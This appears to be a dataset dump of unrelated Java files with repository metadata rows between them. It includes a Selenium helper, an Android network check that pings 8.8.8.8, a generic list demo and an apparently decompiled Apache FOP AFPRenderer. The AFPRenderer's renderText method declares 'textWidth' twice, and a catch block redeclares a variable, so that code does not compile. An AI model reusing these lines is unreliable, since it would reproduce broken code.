*/
public void setServiceHeaders(ServiceHeader[] serviceHeaders) {
this.serviceHeaders = serviceHeaders;
}
/**
Getter for service session
@return The element service session
@since v2.0
*/
public ServiceSession getServiceSession() {
return this.serviceSession;
}
/**
Setter for service session
@param serviceSession The element service session
@since v2.0
*/
public void setServiceSession(ServiceSession serviceSession) {
this.serviceSession = serviceSession;
}
/**
Returns the status code of the response.
@return HTTP status code
@since v2.1.4
*/
public int getStatusCode() {
return this.statusCode;
}
/**
Sets the status code of the response
@param statusCode HTTP status code
@since v2.1.4
*/
public void setStatusCode(int statusCode) {
this.statusCode = statusCode;
}
}
/**
------------------------------------| Engineered with ♥ in Barcelona, Catalonia |--------------------------------------
*/
|
3e0e4517256755a77bbe2bf7b25bc090ee3fe98c | 403 | java | Java | user-dal/src/main/java/com/wook/user/exception/ObjectNotFoundException.java | w00k/user-api | 97b40a2b69bc73ac7ddb3c7e1a3de191792c710c | [
"Apache-2.0"
] | null | null | null | user-dal/src/main/java/com/wook/user/exception/ObjectNotFoundException.java | w00k/user-api | 97b40a2b69bc73ac7ddb3c7e1a3de191792c710c | [
"Apache-2.0"
] | null | null | null | user-dal/src/main/java/com/wook/user/exception/ObjectNotFoundException.java | w00k/user-api | 97b40a2b69bc73ac7ddb3c7e1a3de191792c710c | [
"Apache-2.0"
] | null | null | null | 21.210526 | 66 | 0.796526 | 6,054 | package com.wook.user.exception;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.ResponseStatus;
@ResponseStatus(HttpStatus.NOT_FOUND)
public class ObjectNotFoundException extends RuntimeException {
/**
*
*/
private static final long serialVersionUID = 510304386023104240L;
public ObjectNotFoundException(String message) {
super(message);
}
}
|
3e0e45da8634b5def5f55b00d6d32e55d10646aa | 1,039 | java | Java | addressbook-web-tests/src/test/java/ru.stqa.pft.addressbook/appmanager/HelperBase.java | KaterinaBoo/java_pft | 528653afb22d9b1708e15adb78827a61fd477a1e | [
"Apache-2.0"
] | null | null | null | addressbook-web-tests/src/test/java/ru.stqa.pft.addressbook/appmanager/HelperBase.java | KaterinaBoo/java_pft | 528653afb22d9b1708e15adb78827a61fd477a1e | [
"Apache-2.0"
] | null | null | null | addressbook-web-tests/src/test/java/ru.stqa.pft.addressbook/appmanager/HelperBase.java | KaterinaBoo/java_pft | 528653afb22d9b1708e15adb78827a61fd477a1e | [
"Apache-2.0"
] | null | null | null | 26.641026 | 84 | 0.610202 | 6,055 | package ru.stqa.pft.addressbook.appmanager;
import org.openqa.selenium.By;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.WebDriver;
public class HelperBase {
protected WebDriver driver;
public HelperBase(WebDriver driver) {
this.driver = driver;
}
protected void type(By locator, String text) {
if (text != null) {
String existingText = driver.findElement(locator).getAttribute("value");
if (! text.equals(existingText)) {
driver.findElement(locator).click();
driver.findElement(locator).clear();
driver.findElement(locator).sendKeys(text);
}
}
}
protected void click(String name) {
driver.findElement(By.name(String.valueOf(name))).click();
}
protected boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}
}
|
3e0e46f39639a675b02ffee39f0bf84396618c9c | 1,065 | java | Java | app/src/main/java/com/codepath/apps/twitterEnhanced/network/NetworkUtil.java | msaranu/TwitterApp | 627bc0a3edb9bf50dc166e746271147f050b09ab | [
"MIT"
] | null | null | null | app/src/main/java/com/codepath/apps/twitterEnhanced/network/NetworkUtil.java | msaranu/TwitterApp | 627bc0a3edb9bf50dc166e746271147f050b09ab | [
"MIT"
] | 2 | 2017-03-27T10:45:58.000Z | 2017-04-03T10:14:24.000Z | app/src/main/java/com/codepath/apps/twitterEnhanced/network/NetworkUtil.java | msaranu/TwitterApp | 627bc0a3edb9bf50dc166e746271147f050b09ab | [
"MIT"
] | null | null | null | 30.428571 | 78 | 0.66385 | 6,056 | package com.codepath.apps.twitterEnhanced.network;
/**
* Created by Saranu on 3/23/17.
*/
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import java.io.IOException;
public class NetworkUtil {
//TODO: Check connection availability
public static boolean isInternetAvailable(Context context){
ConnectivityManager connMgr = (ConnectivityManager)
context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connMgr.getActiveNetworkInfo();
return (networkInfo != null && networkInfo.isConnected());
}
public static boolean isOnline() {
Runtime runtime = Runtime.getRuntime();
try {
Process ipProcess = runtime.exec("/system/bin/ping -c 1 8.8.8.8");
int exitValue = ipProcess.waitFor();
return (exitValue == 0);
} catch (IOException e) { e.printStackTrace(); }
catch (InterruptedException e) { e.printStackTrace(); }
return false;
}
}
|
3e0e46ff75a188a265eda04c525d5d800459ad64 | 116 | java | Java | src/main/java/finergit/ast/token/TRY.java | sabver/MyFinerGit | 04a84163bffcb5ec3c2b9ba45c26dd03c54cb070 | [
"MIT"
] | 19 | 2019-03-26T17:26:26.000Z | 2022-03-25T02:33:38.000Z | src/main/java/finergit/ast/token/TRY.java | sabver/MyFinerGit | 04a84163bffcb5ec3c2b9ba45c26dd03c54cb070 | [
"MIT"
] | 22 | 2018-12-05T01:35:39.000Z | 2022-03-24T03:03:26.000Z | src/main/java/finergit/ast/token/TRY.java | sabver/MyFinerGit | 04a84163bffcb5ec3c2b9ba45c26dd03c54cb070 | [
"MIT"
] | 4 | 2019-05-07T07:42:03.000Z | 2021-12-24T04:12:35.000Z | 12.888889 | 37 | 0.603448 | 6,057 | package finergit.ast.token;
public class TRY extends JavaToken {
public TRY() {
super("try");
}
}
|
3e0e4740db59f9483ddf330867b98da49eb7eb2e | 25,747 | java | Java | org/apache/fop/render/afp/AFPRenderer.java | JaneMandy/CS | 4a95148cbeb3804b9c50da003d1a7cb12254cb58 | [
"Apache-2.0"
] | 1 | 2022-02-24T01:32:41.000Z | 2022-02-24T01:32:41.000Z | org/apache/fop/render/afp/AFPRenderer.java | JaneMandy/CS | 4a95148cbeb3804b9c50da003d1a7cb12254cb58 | [
"Apache-2.0"
] | null | null | null | org/apache/fop/render/afp/AFPRenderer.java | JaneMandy/CS | 4a95148cbeb3804b9c50da003d1a7cb12254cb58 | [
"Apache-2.0"
] | null | null | null | 42.277504 | 240 | 0.6988 | 6,058 | package org.apache.fop.render.afp;
import java.awt.Color;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.geom.AffineTransform;
import java.awt.geom.Rectangle2D;
import java.awt.image.RenderedImage;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URI;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.apache.fop.ResourceEventProducer;
import org.apache.fop.afp.AFPBorderPainter;
import org.apache.fop.afp.AFPDataObjectInfo;
import org.apache.fop.afp.AFPDitheredRectanglePainter;
import org.apache.fop.afp.AFPEventProducer;
import org.apache.fop.afp.AFPPaintingState;
import org.apache.fop.afp.AFPRectanglePainter;
import org.apache.fop.afp.AFPResourceLevelDefaults;
import org.apache.fop.afp.AFPResourceManager;
import org.apache.fop.afp.AFPTextDataInfo;
import org.apache.fop.afp.AFPUnitConverter;
import org.apache.fop.afp.AbstractAFPPainter;
import org.apache.fop.afp.BorderPaintingInfo;
import org.apache.fop.afp.DataStream;
import org.apache.fop.afp.RectanglePaintingInfo;
import org.apache.fop.afp.fonts.AFPFont;
import org.apache.fop.afp.fonts.AFPFontAttributes;
import org.apache.fop.afp.fonts.AFPFontCollection;
import org.apache.fop.afp.fonts.AFPPageFonts;
import org.apache.fop.afp.fonts.CharacterSet;
import org.apache.fop.afp.modca.PageObject;
import org.apache.fop.afp.util.DefaultFOPResourceAccessor;
import org.apache.fop.apps.FOPException;
import org.apache.fop.apps.FOUserAgent;
import org.apache.fop.area.CTM;
import org.apache.fop.area.OffDocumentExtensionAttachment;
import org.apache.fop.area.OffDocumentItem;
import org.apache.fop.area.PageSequence;
import org.apache.fop.area.PageViewport;
import org.apache.fop.area.Trait;
import org.apache.fop.area.inline.Leader;
import org.apache.fop.area.inline.TextArea;
import org.apache.fop.datatypes.URISpecification;
import org.apache.fop.fo.extensions.ExtensionAttachment;
import org.apache.fop.fonts.Font;
import org.apache.fop.fonts.FontCollection;
import org.apache.fop.fonts.FontInfo;
import org.apache.fop.fonts.FontManager;
import org.apache.fop.render.AbstractPathOrientedRenderer;
import org.apache.fop.render.Graphics2DAdapter;
import org.apache.fop.render.RendererContext;
import org.apache.fop.render.afp.extensions.AFPExtensionAttachment;
import org.apache.fop.render.afp.extensions.AFPIncludeFormMap;
import org.apache.fop.render.afp.extensions.AFPInvokeMediumMap;
import org.apache.fop.render.afp.extensions.AFPPageOverlay;
import org.apache.fop.render.afp.extensions.AFPPageSetup;
import org.apache.xmlgraphics.image.loader.Image;
import org.apache.xmlgraphics.image.loader.ImageException;
import org.apache.xmlgraphics.image.loader.ImageFlavor;
import org.apache.xmlgraphics.image.loader.ImageInfo;
import org.apache.xmlgraphics.image.loader.ImageManager;
import org.apache.xmlgraphics.image.loader.ImageSessionContext;
import org.apache.xmlgraphics.image.loader.util.ImageUtil;
import org.apache.xmlgraphics.ps.ImageEncodingHelper;
import org.xml.sax.Locator;
public class AFPRenderer extends AbstractPathOrientedRenderer implements AFPCustomizable {
private static final int X = 0;
private static final int Y = 1;
private AFPResourceManager resourceManager;
private final AFPPaintingState paintingState;
private final AFPUnitConverter unitConv;
private AFPBorderPainter borderPainter;
private final Map pageSegmentMap = new HashMap();
private final Map pages = new HashMap();
private DataStream dataStream;
private final AFPImageHandlerRegistry imageHandlerRegistry;
private AbstractAFPPainter rectanglePainter;
private AFPShadingMode shadingMode;
private String lastMediumMap;
private static final ImageFlavor[] NATIVE_FLAVORS;
private static final ImageFlavor[] FLAVORS;
public AFPRenderer() {
this.shadingMode = AFPShadingMode.COLOR;
this.imageHandlerRegistry = new AFPImageHandlerRegistry();
this.resourceManager = new AFPResourceManager();
this.paintingState = new AFPPaintingState();
this.unitConv = this.paintingState.getUnitConverter();
}
public void setupFontInfo(FontInfo inFontInfo) {
this.fontInfo = inFontInfo;
FontManager fontManager = this.userAgent.getFactory().getFontManager();
FontCollection[] fontCollections = new FontCollection[]{new AFPFontCollection(this.userAgent.getEventBroadcaster(), this.getFontList())};
fontManager.setup(this.getFontInfo(), fontCollections);
}
public void setUserAgent(FOUserAgent agent) {
super.setUserAgent(agent);
}
public void startRenderer(OutputStream outputStream) throws IOException {
this.paintingState.setColor(Color.WHITE);
this.dataStream = this.resourceManager.createDataStream(this.paintingState, outputStream);
this.borderPainter = new AFPBorderPainter(this.paintingState, this.dataStream);
this.rectanglePainter = this.createRectanglePainter();
this.dataStream.startDocument();
}
AbstractAFPPainter createRectanglePainter() {
return (AbstractAFPPainter)(AFPShadingMode.DITHERED.equals(this.shadingMode) ? new AFPDitheredRectanglePainter(this.paintingState, this.dataStream, this.resourceManager) : new AFPRectanglePainter(this.paintingState, this.dataStream));
}
public void stopRenderer() throws IOException {
this.dataStream.endDocument();
this.resourceManager.writeToStream();
this.resourceManager = null;
}
public void startPageSequence(PageSequence pageSequence) {
super.startPageSequence(pageSequence);
try {
this.dataStream.startPageGroup();
} catch (IOException var7) {
log.error(var7.getMessage());
}
if (pageSequence.hasExtensionAttachments()) {
Iterator iter = pageSequence.getExtensionAttachments().iterator();
while(iter.hasNext()) {
ExtensionAttachment attachment = (ExtensionAttachment)iter.next();
String mediumMap;
if (attachment instanceof AFPInvokeMediumMap) {
AFPInvokeMediumMap imm = (AFPInvokeMediumMap)attachment;
mediumMap = imm.getName();
if (mediumMap != null) {
this.dataStream.createInvokeMediumMap(mediumMap);
}
} else if (attachment instanceof AFPPageSetup) {
AFPPageSetup aps = (AFPPageSetup)attachment;
mediumMap = aps.getName();
String value = aps.getValue();
this.dataStream.createTagLogicalElement(mediumMap, value);
}
}
}
}
public boolean supportsOutOfOrder() {
return false;
}
public void preparePage(PageViewport page) {
int pageRotation = this.paintingState.getPageRotation();
int pageWidth = this.paintingState.getPageWidth();
int pageHeight = this.paintingState.getPageHeight();
int resolution = this.paintingState.getResolution();
this.dataStream.startPage(pageWidth, pageHeight, pageRotation, resolution, resolution);
this.renderPageObjectExtensions(page);
PageObject currentPage = this.dataStream.savePage();
this.pages.put(page, currentPage);
}
public void processOffDocumentItem(OffDocumentItem odi) {
if (odi instanceof OffDocumentExtensionAttachment) {
ExtensionAttachment attachment = ((OffDocumentExtensionAttachment)odi).getAttachment();
if (attachment != null && "apache:fop:extensions:afp".equals(attachment.getCategory()) && attachment instanceof AFPIncludeFormMap) {
this.handleIncludeFormMap((AFPIncludeFormMap)attachment);
}
}
}
private void handleIncludeFormMap(AFPIncludeFormMap formMap) {
DefaultFOPResourceAccessor accessor = new DefaultFOPResourceAccessor(this.getUserAgent(), (String)null, (URI)null);
try {
this.resourceManager.createIncludedResource(formMap.getName(), formMap.getSrc(), accessor, (byte)-2);
} catch (IOException var5) {
AFPEventProducer eventProducer = AFPEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.resourceEmbeddingError(this, formMap.getName(), var5);
}
}
public Graphics2DAdapter getGraphics2DAdapter() {
return new AFPGraphics2DAdapter(this.paintingState);
}
public void startVParea(CTM ctm, Rectangle2D clippingRect) {
this.saveGraphicsState();
if (ctm != null) {
AffineTransform at = ctm.toAffineTransform();
this.concatenateTransformationMatrix(at);
}
if (clippingRect != null) {
this.clipRect((float)clippingRect.getX() / 1000.0F, (float)clippingRect.getY() / 1000.0F, (float)clippingRect.getWidth() / 1000.0F, (float)clippingRect.getHeight() / 1000.0F);
}
}
public void endVParea() {
this.restoreGraphicsState();
}
protected void concatenateTransformationMatrix(AffineTransform at) {
if (!at.isIdentity()) {
this.paintingState.concatenate(at);
}
}
private AffineTransform getBaseTransform() {
AffineTransform baseTransform = new AffineTransform();
double scale = (double)this.unitConv.mpt2units(1.0F);
baseTransform.scale(scale, scale);
return baseTransform;
}
public void renderPage(PageViewport pageViewport) throws IOException, FOPException {
this.paintingState.clear();
Rectangle2D bounds = pageViewport.getViewArea();
AffineTransform baseTransform = this.getBaseTransform();
this.paintingState.concatenate(baseTransform);
if (this.pages.containsKey(pageViewport)) {
this.dataStream.restorePage((PageObject)this.pages.remove(pageViewport));
} else {
int pageWidth = Math.round(this.unitConv.mpt2units((float)bounds.getWidth()));
this.paintingState.setPageWidth(pageWidth);
int pageHeight = Math.round(this.unitConv.mpt2units((float)bounds.getHeight()));
this.paintingState.setPageHeight(pageHeight);
int pageRotation = this.paintingState.getPageRotation();
int resolution = this.paintingState.getResolution();
this.renderInvokeMediumMap(pageViewport);
this.dataStream.startPage(pageWidth, pageHeight, pageRotation, resolution, resolution);
this.renderPageObjectExtensions(pageViewport);
}
super.renderPage(pageViewport);
AFPPageFonts pageFonts = this.paintingState.getPageFonts();
if (pageFonts != null && !pageFonts.isEmpty()) {
this.dataStream.addFontsToCurrentPage(pageFonts);
}
this.dataStream.endPage();
}
public void drawBorderLine(float x1, float y1, float x2, float y2, boolean horz, boolean startOrBefore, int style, Color col) {
BorderPaintingInfo borderPaintInfo = new BorderPaintingInfo(x1, y1, x2, y2, horz, style, col);
this.borderPainter.paint(borderPaintInfo);
}
public void fillRect(float x, float y, float width, float height) {
RectanglePaintingInfo rectanglePaintInfo = new RectanglePaintingInfo(x, y, width, height);
try {
this.rectanglePainter.paint(rectanglePaintInfo);
} catch (IOException var7) {
throw new RuntimeException("I/O error while painting a filled rectangle", var7);
}
}
protected RendererContext instantiateRendererContext() {
return new AFPRendererContext(this, this.getMimeType());
}
protected RendererContext createRendererContext(int x, int y, int width, int height, Map foreignAttributes) {
RendererContext context = super.createRendererContext(x, y, width, height, foreignAttributes);
context.setProperty("afpFontInfo", this.fontInfo);
context.setProperty("afpResourceManager", this.resourceManager);
context.setProperty("afpPaintingState", this.paintingState);
return context;
}
public void drawImage(String uri, Rectangle2D pos, Map foreignAttributes) {
uri = URISpecification.getURL(uri);
this.paintingState.setImageUri(uri);
Point origin = new Point(this.currentIPPosition, this.currentBPPosition);
Rectangle posInt = new Rectangle((int)Math.round(pos.getX()), (int)Math.round(pos.getY()), (int)Math.round(pos.getWidth()), (int)Math.round(pos.getHeight()));
int x = origin.x + posInt.x;
int y = origin.y + posInt.y;
String name = (String)this.pageSegmentMap.get(uri);
if (name != null) {
float[] srcPts = new float[]{(float)x, (float)y, (float)posInt.width, (float)posInt.height};
int[] coords = this.unitConv.mpts2units(srcPts);
int width = Math.round(this.unitConv.mpt2units((float)posInt.width));
int height = Math.round(this.unitConv.mpt2units((float)posInt.height));
this.dataStream.createIncludePageSegment(name, coords[0], coords[1], width, height);
} else {
ImageManager manager = this.userAgent.getFactory().getImageManager();
ImageInfo info = null;
ResourceEventProducer eventProducer;
try {
ImageSessionContext sessionContext = this.userAgent.getImageSessionContext();
info = manager.getImageInfo(uri, sessionContext);
Map hints = ImageUtil.getDefaultHints(sessionContext);
boolean nativeImagesSupported = this.paintingState.isNativeImagesSupported();
ImageFlavor[] flavors = nativeImagesSupported ? NATIVE_FLAVORS : FLAVORS;
Image img = manager.getImage(info, flavors, hints, sessionContext);
AFPImageHandler imageHandler = (AFPImageHandler)this.imageHandlerRegistry.getHandler(img);
if (imageHandler == null) {
throw new UnsupportedOperationException("No AFPImageHandler available for image: " + info + " (" + img.getClass().getName() + ")");
}
RendererContext rendererContext = this.createRendererContext(x, y, posInt.width, posInt.height, foreignAttributes);
AFPRendererImageInfo rendererImageInfo = new AFPRendererImageInfo(uri, pos, origin, info, img, rendererContext, foreignAttributes);
AFPDataObjectInfo dataObjectInfo = null;
try {
dataObjectInfo = imageHandler.generateDataObjectInfo(rendererImageInfo);
if (dataObjectInfo != null) {
this.resourceManager.createObject(dataObjectInfo);
}
} catch (IOException var22) {
ResourceEventProducer eventProducer = ResourceEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.imageWritingError(this, var22);
throw var22;
}
} catch (ImageException var23) {
eventProducer = ResourceEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.imageError(this, info != null ? info.toString() : uri, var23, (Locator)null);
} catch (FileNotFoundException var24) {
eventProducer = ResourceEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.imageNotFound(this, info != null ? info.toString() : uri, var24, (Locator)null);
} catch (IOException var25) {
eventProducer = ResourceEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.imageIOError(this, info != null ? info.toString() : uri, var25, (Locator)null);
}
}
}
/** @deprecated */
public static void writeImage(RenderedImage image, OutputStream out) throws IOException {
ImageEncodingHelper.encodeRenderedImageAsRGB(image, out);
}
public void updateColor(Color col, boolean fill) {
if (fill) {
this.paintingState.setColor(col);
}
}
public void restoreStateStackAfterBreakOut(List breakOutList) {
log.debug("Block.FIXED --> restoring context after break-out");
this.paintingState.saveAll(breakOutList);
}
protected List breakOutOfStateStack() {
log.debug("Block.FIXED --> break out");
return this.paintingState.restoreAll();
}
public void saveGraphicsState() {
this.paintingState.save();
}
public void restoreGraphicsState() {
this.paintingState.restore();
}
public void renderImage(org.apache.fop.area.inline.Image image, Rectangle2D pos) {
this.drawImage(image.getURL(), pos, image.getForeignAttributes());
}
public void renderText(TextArea text) {
this.renderInlineAreaBackAndBorders(text);
int fontSize = (Integer)text.getTrait(Trait.FONT_SIZE);
this.paintingState.setFontSize(fontSize);
String internalFontName = this.getInternalFontNameForArea(text);
Map fontMetricMap = this.fontInfo.getFonts();
AFPFont font = (AFPFont)fontMetricMap.get(internalFontName);
AFPPageFonts pageFonts = this.paintingState.getPageFonts();
AFPFontAttributes fontAttributes = pageFonts.registerFont(internalFontName, font, fontSize);
Font fnt = this.getFontFromArea(text);
if (font.isEmbeddable()) {
CharacterSet charSet = font.getCharacterSet(fontSize);
try {
this.resourceManager.embedFont(font, charSet);
} catch (IOException var26) {
AFPEventProducer eventProducer = AFPEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.resourceEmbeddingError(this, charSet.getName(), var26);
}
}
AFPTextDataInfo textDataInfo = new AFPTextDataInfo();
int fontReference = fontAttributes.getFontReference();
textDataInfo.setFontReference(fontReference);
int x = this.currentIPPosition + text.getBorderAndPaddingWidthStart();
int y = this.currentBPPosition + text.getOffset() + text.getBaselineOffset();
int[] coords = this.unitConv.mpts2units(new float[]{(float)x, (float)y});
textDataInfo.setX(coords[0]);
textDataInfo.setY(coords[1]);
Color color = (Color)text.getTrait(Trait.COLOR);
textDataInfo.setColor(color);
int textWordSpaceAdjust = text.getTextWordSpaceAdjust();
int textLetterSpaceAdjust = text.getTextLetterSpaceAdjust();
int textWidth = font.getWidth(32, fontSize) / 1000;
int textWidth = 0;
int variableSpaceCharacterIncrement = textWidth + textWordSpaceAdjust + textLetterSpaceAdjust;
variableSpaceCharacterIncrement = Math.round(this.unitConv.mpt2units((float)variableSpaceCharacterIncrement));
textDataInfo.setVariableSpaceCharacterIncrement(variableSpaceCharacterIncrement);
int interCharacterAdjustment = Math.round(this.unitConv.mpt2units((float)textLetterSpaceAdjust));
textDataInfo.setInterCharacterAdjustment(interCharacterAdjustment);
CharacterSet charSet = font.getCharacterSet(fontSize);
String encoding = charSet.getEncoding();
textDataInfo.setEncoding(encoding);
String textString = text.getText();
textDataInfo.setString(textString);
try {
this.dataStream.createText(textDataInfo, textLetterSpaceAdjust, textWordSpaceAdjust, fnt, charSet);
} catch (UnsupportedEncodingException var25) {
AFPEventProducer eventProducer = AFPEventProducer.Provider.get(this.userAgent.getEventBroadcaster());
eventProducer.characterSetEncodingError(this, charSet.getName(), encoding);
}
super.renderText(text);
this.renderTextDecoration(font, fontSize, text, y, x);
}
public void renderLeader(Leader area) {
this.renderInlineAreaBackAndBorders(area);
int style = area.getRuleStyle();
float startx = (float)(this.currentIPPosition + area.getBorderAndPaddingWidthStart()) / 1000.0F;
float starty = (float)(this.currentBPPosition + area.getOffset()) / 1000.0F;
float endx = (float)(this.currentIPPosition + area.getBorderAndPaddingWidthStart() + area.getIPD()) / 1000.0F;
float ruleThickness = (float)area.getRuleThickness() / 1000.0F;
Color col = (Color)area.getTrait(Trait.COLOR);
switch(style) {
case 31:
case 36:
case 37:
case 55:
case 119:
case 133:
this.drawBorderLine(startx, starty, endx, starty + ruleThickness, true, true, style, col);
super.renderLeader(area);
return;
default:
throw new UnsupportedOperationException("rule style not supported");
}
}
public String getMimeType() {
return "application/x-afp";
}
private void renderInvokeMediumMap(PageViewport pageViewport) {
if (pageViewport.getExtensionAttachments() != null && pageViewport.getExtensionAttachments().size() > 0) {
Iterator it = pageViewport.getExtensionAttachments().iterator();
while(it.hasNext()) {
ExtensionAttachment attachment = (ExtensionAttachment)it.next();
if ("apache:fop:extensions:afp".equals(attachment.getCategory())) {
AFPExtensionAttachment aea = (AFPExtensionAttachment)attachment;
if ("invoke-medium-map".equals(aea.getElementName())) {
AFPInvokeMediumMap imm = (AFPInvokeMediumMap)attachment;
String mediumMap = imm.getName();
if (mediumMap != null && !mediumMap.equals(this.lastMediumMap)) {
this.dataStream.createInvokeMediumMap(mediumMap);
this.lastMediumMap = mediumMap;
}
}
}
}
}
}
private void renderPageObjectExtensions(PageViewport pageViewport) {
this.pageSegmentMap.clear();
if (pageViewport.getExtensionAttachments() != null && pageViewport.getExtensionAttachments().size() > 0) {
Iterator it = pageViewport.getExtensionAttachments().iterator();
while(it.hasNext()) {
ExtensionAttachment attachment = (ExtensionAttachment)it.next();
if ("apache:fop:extensions:afp".equals(attachment.getCategory())) {
String element;
String content;
if (attachment instanceof AFPPageSetup) {
AFPPageSetup aps = (AFPPageSetup)attachment;
element = aps.getElementName();
String value;
if ("include-page-segment".equals(element)) {
content = aps.getName();
value = aps.getValue();
this.pageSegmentMap.put(value, content);
} else if ("tag-logical-element".equals(element)) {
content = aps.getName();
value = aps.getValue();
this.dataStream.createTagLogicalElement(content, value);
} else if ("no-operation".equals(element)) {
content = aps.getContent();
if (content != null) {
this.dataStream.createNoOperation(content);
}
}
} else if (attachment instanceof AFPPageOverlay) {
AFPPageOverlay ipo = (AFPPageOverlay)attachment;
element = ipo.getElementName();
if ("include-page-overlay".equals(element)) {
content = ipo.getName();
if (content != null) {
this.dataStream.createIncludePageOverlay(content, ipo.getX(), ipo.getY());
}
}
}
}
}
}
}
public void setPortraitRotation(int rotation) {
this.paintingState.setPortraitRotation(rotation);
}
public void setLandscapeRotation(int rotation) {
this.paintingState.setLandscapeRotation(rotation);
}
public void setBitsPerPixel(int bitsPerPixel) {
this.paintingState.setBitsPerPixel(bitsPerPixel);
}
public void setColorImages(boolean colorImages) {
this.paintingState.setColorImages(colorImages);
}
public void setNativeImagesSupported(boolean nativeImages) {
this.paintingState.setNativeImagesSupported(nativeImages);
}
public void setCMYKImagesSupported(boolean value) {
this.paintingState.setCMYKImagesSupported(value);
}
public void setDitheringQuality(float quality) {
this.paintingState.setDitheringQuality(quality);
}
public void setShadingMode(AFPShadingMode shadingMode) {
this.shadingMode = shadingMode;
}
public void setResolution(int resolution) {
this.paintingState.setResolution(resolution);
}
public int getResolution() {
return this.paintingState.getResolution();
}
public void setDefaultResourceGroupFilePath(String filePath) {
this.resourceManager.setDefaultResourceGroupFilePath(filePath);
}
public void setResourceLevelDefaults(AFPResourceLevelDefaults defaults) {
this.resourceManager.setResourceLevelDefaults(defaults);
}
protected void establishTransformationMatrix(AffineTransform at) {
this.saveGraphicsState();
this.concatenateTransformationMatrix(at);
}
public void clip() {
}
public void clipRect(float x, float y, float width, float height) {
}
public void moveTo(float x, float y) {
}
public void lineTo(float x, float y) {
}
public void closePath() {
}
public void beginTextObject() {
}
public void endTextObject() {
}
static {
NATIVE_FLAVORS = new ImageFlavor[]{ImageFlavor.XML_DOM, ImageFlavor.RAW_JPEG, ImageFlavor.RAW_CCITTFAX, ImageFlavor.RAW_EPS, ImageFlavor.RAW_TIFF, ImageFlavor.GRAPHICS2D, ImageFlavor.BUFFERED_IMAGE, ImageFlavor.RENDERED_IMAGE};
FLAVORS = new ImageFlavor[]{ImageFlavor.XML_DOM, ImageFlavor.GRAPHICS2D, ImageFlavor.BUFFERED_IMAGE, ImageFlavor.RENDERED_IMAGE};
}
}
|
3e0e47acf5179997a1b1705cde7380c752a3fa69 | 1,973 | java | Java | src/main/java/org/rapidpm/demo/entwicklerpress/shortcut/proxies/chap5/chap_5_0/BetterArrayList.java | Java-Publications/shortcut-proxies | 12f452b886e6da764dc52a0cf879cef6b8c05b37 | [
"Apache-2.0"
] | null | null | null | src/main/java/org/rapidpm/demo/entwicklerpress/shortcut/proxies/chap5/chap_5_0/BetterArrayList.java | Java-Publications/shortcut-proxies | 12f452b886e6da764dc52a0cf879cef6b8c05b37 | [
"Apache-2.0"
] | null | null | null | src/main/java/org/rapidpm/demo/entwicklerpress/shortcut/proxies/chap5/chap_5_0/BetterArrayList.java | Java-Publications/shortcut-proxies | 12f452b886e6da764dc52a0cf879cef6b8c05b37 | [
"Apache-2.0"
] | null | null | null | 31.31746 | 77 | 0.652813 | 6,059 | /*
* Copyright (c) 2014. Heinz Max Kabutz , Sven Ruppert
* We licenses
* this file to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License. You may
* obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.rapidpm.demo.entwicklerpress.shortcut.proxies.chap5.chap_5_0;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Collection;
/**
* Created by Sven Ruppert on 05.01.14.
*/
public class BetterArrayList<T> extends ArrayList<T> {
private final Class<T> valueType;
public BetterArrayList(int initialCapacity, Class<T> valueType) {
super(initialCapacity);
this.valueType = valueType;
}
public BetterArrayList(Class<T> valueType) {
this.valueType = valueType;
}
public BetterArrayList(Collection<? extends T> ts,
Class<T> valueType) {
super(ts);
this.valueType = valueType;
}
// You can modify the return type of an overridden method in
// Java 5, with some restrictions.
public T[] toArray() {
return toArray((T[]) Array.newInstance(valueType, size()));
}
public static void main(String[] args) {
BetterArrayList<String> names =
new BetterArrayList<String>(String.class);
names.add("Wolfgang");
names.add("Leander");
names.add("Klaus");
names.add("Reinhard");
String[] nameArray = names.toArray();
for (String s : nameArray) {
System.out.println(s);
}
}
} |
3e0e47ee7c8c898d88b25158b863219e13e23b46 | 85 | java | Java | ml-lib/src/main/java/com/jhcomn/lambda/mllib/base/package-info.java | JinXiejie/lightweight_lambda_architecture | 2e763de274db5f41bd903ad1afafe257a9a7c5cf | [
"Apache-2.0"
] | null | null | null | ml-lib/src/main/java/com/jhcomn/lambda/mllib/base/package-info.java | JinXiejie/lightweight_lambda_architecture | 2e763de274db5f41bd903ad1afafe257a9a7c5cf | [
"Apache-2.0"
] | null | null | null | ml-lib/src/main/java/com/jhcomn/lambda/mllib/base/package-info.java | JinXiejie/lightweight_lambda_architecture | 2e763de274db5f41bd903ad1afafe257a9a7c5cf | [
"Apache-2.0"
] | null | null | null | 17 | 38 | 0.647059 | 6,060 | /**
* Created by shimn on 2017/11/13.
*/
package com.jhcomn.lambda.mllib.base;
|
3e0e4868f26f927b3a68df3d2bec33d3de55bb58 | 7,860 | java | Java | java/src/main/java/com/google/crypto/tink/KeysetHandle.java | insightiotest/go | 5add0f822bca1a6bfab41b880b0ced812e7eeeaa | [
"Apache-2.0"
] | 2 | 2019-03-14T17:16:20.000Z | 2022-03-22T10:33:58.000Z | java/src/main/java/com/google/crypto/tink/KeysetHandle.java | insightiotest/go | 5add0f822bca1a6bfab41b880b0ced812e7eeeaa | [
"Apache-2.0"
